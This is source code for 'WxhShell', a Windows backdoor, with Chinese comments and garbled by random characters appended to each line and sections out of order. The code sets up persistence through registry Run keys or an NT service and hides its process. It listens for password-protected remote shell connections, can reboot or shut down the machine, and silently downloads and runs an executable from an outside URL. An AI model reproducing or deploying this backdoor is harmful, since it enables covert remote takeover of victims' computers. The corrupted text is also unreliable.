DWORD PebBaseAddress; &[{sA;
DWORD AffinityMask; )C"ixZ>2xQ
DWORD BasePriority; $1 B?@~&
ULONG UniqueProcessId; 0R? @JC
ULONG InheritedFromUniqueProcessId; 7k,BE2]"
} PROCESS_BASIC_INFORMATION; q)9n%- YgP
2FaCrc/
PROCNTQSIP NtQueryInformationProcess; bD=H$)
*lA+-gkK*
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L754odc
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;6 W[%{
Csy$1;"A
HANDLE hProcess; HI{q#
PROCESS_BASIC_INFORMATION pbi; F?tWx+N<{
q#AIN`H
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 9]Ue%%vM
if(NULL == hInst ) return 0; h STcL:b
_cJ)v/]
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2~\SUGW-
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a T(]
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r'y Nc&~
UUDHknm"
if (!NtQueryInformationProcess) return 0; kh#QT_y
iJE:>qOTD5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); VqvjOeCbH
if(!hProcess) return 0; .'A1Eoo0d
B-_b.4ND)
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]B;`Jf
OS`jttU@
CloseHandle(hProcess); q
8sfG ;)
4v/MZ:%C`
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); l!XCYg@67
if(hProcess==NULL) return 0; L3HC-
y+k^CT/u
HMODULE hMod; LDEc}XXb
char procName[255]; ~b*]jZwT
unsigned long cbNeeded; /0qbRk i
[/q
Bvuun
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sQA_ 6]`
;8XRs?xyd
CloseHandle(hProcess); a(6h`GHo
@*<0:Q|m
if(strstr(procName,"services")) return 1; // 以服务启动 D|Q7dIZm
mST8+R@S
return 0; // 注册表启动 Lhp&RGy
} UH6 7<_mK
9vyf9QE;
// 主模块 UL}wGWaoG
int StartWxhshell(LPSTR lpCmdLine) Uc:NW
{ e(/F:ZEh
SOCKET wsl; !@ ]IJ"\
BOOL val=TRUE; *GoTN
int port=0; ssLswb
struct sockaddr_in door; >w<w*pC
@%x2d1FS
if(wscfg.ws_autoins) Install(); E \DA3lq
:0B 7lDw
port=atoi(lpCmdLine); )aGSZ1`/
wHs1ge (
if(port<=0) port=wscfg.ws_port; ws9IO ?|&G
X uE: dL?
WSADATA data; 1|4,jm $
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3%5YUG@
(eU 4{X7
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; xE@/8h
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); So!=uYX
door.sin_family = AF_INET; 2`riI*fQ
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Wgh@X B
door.sin_port = htons(port); WtZI1`\qe
1N(1h
D
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { YX-~?Pl
closesocket(wsl); p,8~)ic_
return 1; h-1?c\Qq:
} =3(Auchl$Y
F^bY]\-5
if(listen(wsl,2) == INVALID_SOCKET) { {*B0lr`
closesocket(wsl); C^LxuUW
return 1; g|]HS4y
} \AroSy9
Wxhshell(wsl); y(QFf*J
WSACleanup(); 2%fIe
0c`zg7|
return 0; $4xSI"+M%
WqF,\y%W*
} {,sqUq (
AcuF0KWw/
// 以NT服务方式启动 tjFX(;^[
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) seEo)m`d
{ T%) E!:}v
DWORD status = 0; {>1FZsR49t
DWORD specificError = 0xfffffff; ?v
M9
!
ecs 0iW-,
serviceStatus.dwServiceType = SERVICE_WIN32; +`GtZnt#
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,9bnR;f\
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <EUR:
serviceStatus.dwWin32ExitCode = 0; u|t l@_
serviceStatus.dwServiceSpecificExitCode = 0; 8-x-?7
serviceStatus.dwCheckPoint = 0; L_Gw:"-+Q
serviceStatus.dwWaitHint = 0; z4SJxL
*p
$0(bz
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /_l\7MeI
if (hServiceStatusHandle==0) return; BJUj#s0$
$!>.h*np
status = GetLastError(); P!|Z%H
if (status!=NO_ERROR) PX|@D_%Y=
{ @p*)^D6E\
serviceStatus.dwCurrentState = SERVICE_STOPPED; u5A?; a
serviceStatus.dwCheckPoint = 0; ;9k>;g3m
serviceStatus.dwWaitHint = 0; 0uDDaFS
serviceStatus.dwWin32ExitCode = status; #gV n7wq
serviceStatus.dwServiceSpecificExitCode = specificError; I2*rtVAP'j
SetServiceStatus(hServiceStatusHandle, &serviceStatus); zw+aZDcV(
return; >E+g.5
,:W
} W#<1504ip
7m-%
serviceStatus.dwCurrentState = SERVICE_RUNNING; _aPAn|.
serviceStatus.dwCheckPoint = 0; =lJ
?yuc
serviceStatus.dwWaitHint = 0; "wOfs$w%s
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4`#Q
} uem-fTG
).5X
// 处理NT服务事件,比如:启动、停止 NV4g5)D&L
VOID WINAPI NTServiceHandler(DWORD fdwControl) tsc`u>
{ >l&]Ho
switch(fdwControl) Y'|,vG
{ y+ze`pL?
case SERVICE_CONTROL_STOP: [oTe8^@[
serviceStatus.dwWin32ExitCode = 0; 2HFn\kjj.s
serviceStatus.dwCurrentState = SERVICE_STOPPED; u)0I$Tc"
serviceStatus.dwCheckPoint = 0; sWYnoRxu
serviceStatus.dwWaitHint = 0; TsTc3
{ hX{,P:d=f
SetServiceStatus(hServiceStatusHandle, &serviceStatus); w2nReB z
} {Uw
0zC
return; =D/zC'l
case SERVICE_CONTROL_PAUSE: ]X>yZec
serviceStatus.dwCurrentState = SERVICE_PAUSED; k3#'g'>yh
break; 0ae8Xm3J@R
case SERVICE_CONTROL_CONTINUE: f(5(V
%
serviceStatus.dwCurrentState = SERVICE_RUNNING; p +i1sY
break; +%W8Juu
case SERVICE_CONTROL_INTERROGATE: ~(d
{j}M>
break; F]3Y,{/V
}; 8v;^jo>ug
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
BNK]Os
} Q6Gw!!Z5EA
zi-_ l
// 标准应用程序主函数 ;>?h/tS6
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ki;SONSV~|
{ )]1hN;Nz
6CBk=)qH
// 获取操作系统版本 I$7eiW @
OsIsNt=GetOsVer(); +&
r!%j7
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9wWBE<}>u
$"kPzo~B_
// 从命令行安装 3gi)QCsk
if(strpbrk(lpCmdLine,"iI")) Install(); E^i]eK*"
:skR6J
// 下载执行文件 aas.-NT
if(wscfg.ws_downexe) { v=N?(6T
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GDxv2^4
WinExec(wscfg.ws_filenam,SW_HIDE); Nwi|>'\C
} yn62NyK
lgOAc,
if(!OsIsNt) { j<<d A[X
// 如果时win9x,隐藏进程并且设置为注册表启动 FO2e7p^Q
HideProc(); vQEV,d1
StartWxhshell(lpCmdLine); Tz]R}DKB&
} P3_.U8g$r
else $O%{l.-O
if(StartFromService()) nYyhQX~]B
// 以服务方式启动 @RoZd?
StartServiceCtrlDispatcher(DispatchTable); L80(9Y^xn
else ~Bzzu %S
// 普通方式启动 bKo %Ak,
StartWxhshell(lpCmdLine); L!fTYX#K]
ote,`h
return 0; Wgwd?@uK
} jo`ZuN{
Jxe+LG
~K;QdV=YX
c2npma]DZ
=========================================== tq3_az ~1
y}odTeq
C ^Y\?2h1
~ nsb
4V,.Oi
gF)9a_R%p
" "%-Vrb=:Y
5> x_G#W
#include <stdio.h> ffrIi',@
#include <string.h> vQMBJ&
#include <windows.h> 8`q7Yss6F
#include <winsock2.h> }E
'r?N
#include <winsvc.h> _Iy\,<
#include <urlmon.h> Aedf (L7\
xVm-4gB
#pragma comment (lib, "Ws2_32.lib") I~GF%$-G
#pragma comment (lib, "urlmon.lib") iM+`7L'
=kd$??F
#define MAX_USER 100 // 最大客户端连接数 -pu5O9
@
#define BUF_SOCK 200 // sock buffer ^xZh@e5
#define KEY_BUFF 255 // 输入 buffer HK@ij,px
7zM:z,
#define REBOOT 0 // 重启 "j^i6RS
#define SHUTDOWN 1 // 关机 ^ Bx[%
fj_23{,/"g
#define DEF_PORT 5000 // 监听端口 6Z2 ,:j;
7GgZ: $d
#define REG_LEN 16 // 注册表键长度 $83B10OQ&L
#define SVC_LEN 80 // NT服务名长度 '/W$9jm
g68p9#G
// 从dll定义API )[Y B&
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); PVCoXOqh
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @R[{
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /).{h'^Hq\
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AYts
&+
]{>AU^=U
// wxhshell配置信息 'YL[s
struct WSCFG { %By Pwu:f
int ws_port; // 监听端口 ~4~`bT9
char ws_passstr[REG_LEN]; // 口令 yYG<tUG;
int ws_autoins; // 安装标记, 1=yes 0=no Jup)m/
char ws_regname[REG_LEN]; // 注册表键名 =6%oW2E\
char ws_svcname[REG_LEN]; // 服务名 22\!Z2@T/
char ws_svcdisp[SVC_LEN]; // 服务显示名 EYAaK^ &
char ws_svcdesc[SVC_LEN]; // 服务描述信息 \(o"/*
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 f-b],YE
int ws_downexe; // 下载执行标记, 1=yes 0=no ,?fJ0n:!%
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u^80NR
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hx;f/EPx
OrY[
}; ^Co-!jM
{Mx(|)WkL
// default Wxhshell configuration 8K 3dwoT
struct WSCFG wscfg={DEF_PORT, M([#Py9h
"xuhuanlingzhe", o96C^y{~S
1, xs$$fPAQ
"Wxhshell", n<I{x^!
"Wxhshell", rwm^{Qa
"WxhShell Service", _fGTTw(
"Wrsky Windows CmdShell Service", cnv>&6a)
"Please Input Your Password: ", ZO0 Ee1/
1, S{@}ECla
"http://www.wrsky.com/wxhshell.exe", zw0w."V
"Wxhshell.exe" +X}i%F'
}; "t@p9>
#/)t]&n
// 消息定义模块 "}4%v Zz
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1yy?1&88S
char *msg_ws_prompt="\n\r? for help\n\r#>"; i|YS>Pw~j
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; mgs(n5V5
char *msg_ws_ext="\n\rExit."; +.G"ool
char *msg_ws_end="\n\rQuit."; s{hKl0ds
char *msg_ws_boot="\n\rReboot..."; GD
W@/oQr
char *msg_ws_poff="\n\rShutdown..."; 'rQ"Dc1D
char *msg_ws_down="\n\rSave to "; A'WR!*Yt
v3tJtb^'!
char *msg_ws_err="\n\rErr!"; bOS)vt*V
char *msg_ws_ok="\n\rOK!"; MK$u}G
'M90Yia
char ExeFile[MAX_PATH]; sp9gz~Kq
int nUser = 0; QLA.;`HIE
HANDLE handles[MAX_USER]; bz>X~
int OsIsNt; { _rfhz
$6hPTc<C
SERVICE_STATUS serviceStatus; =YO ]m<
SERVICE_STATUS_HANDLE hServiceStatusHandle; -%K!Ra\W
jmok]-pC
// 函数声明 f8
d
3ZK
int Install(void); AOf4y&B>q
int Uninstall(void); 6*OL.~WE
int DownloadFile(char *sURL, SOCKET wsh); nB[-KS
int Boot(int flag); ~(5r+Z}*`
void HideProc(void); k9|5TLXq?
int GetOsVer(void); ]I*c:(qwu
int Wxhshell(SOCKET wsl); .6B\fr.za
void TalkWithClient(void *cs); <g4}7l8
int CmdShell(SOCKET sock); .R9Z$Kbq
int StartFromService(void); e|~MJu+1
int StartWxhshell(LPSTR lpCmdLine); 4E'9;tA3l
2iAC_"n
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5E:$\z;
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5of3&
zM0NRERi
// 数据结构和表定义 =W(*0"RM
SERVICE_TABLE_ENTRY DispatchTable[] = B5e9'X^
[
{ p6VD*PT$&
{wscfg.ws_svcname, NTServiceMain}, Z 6jEj9?O
{NULL, NULL} *6uccx7{
}; ?GhyVXS y.
8~sP{V%
// 自我安装 :FyF:=
int Install(void) ~6vz2DuB=
{ K%(y<%Xp
char svExeFile[MAX_PATH]; 5~Y`ikwxL
HKEY key; "L~(%Nx3
strcpy(svExeFile,ExeFile); 6|TSH$w_
O 4 !$
// 如果是win9x系统,修改注册表设为自启动 E+td~&x
if(!OsIsNt) { |s| }u`(@9
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XQ}Zr/f6
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZedFhm
RegCloseKey(key); nK&]8"
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~j0rORy]
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'J|2c;M\x
RegCloseKey(key);
B.z$0=b
return 0; %+7]/_JO&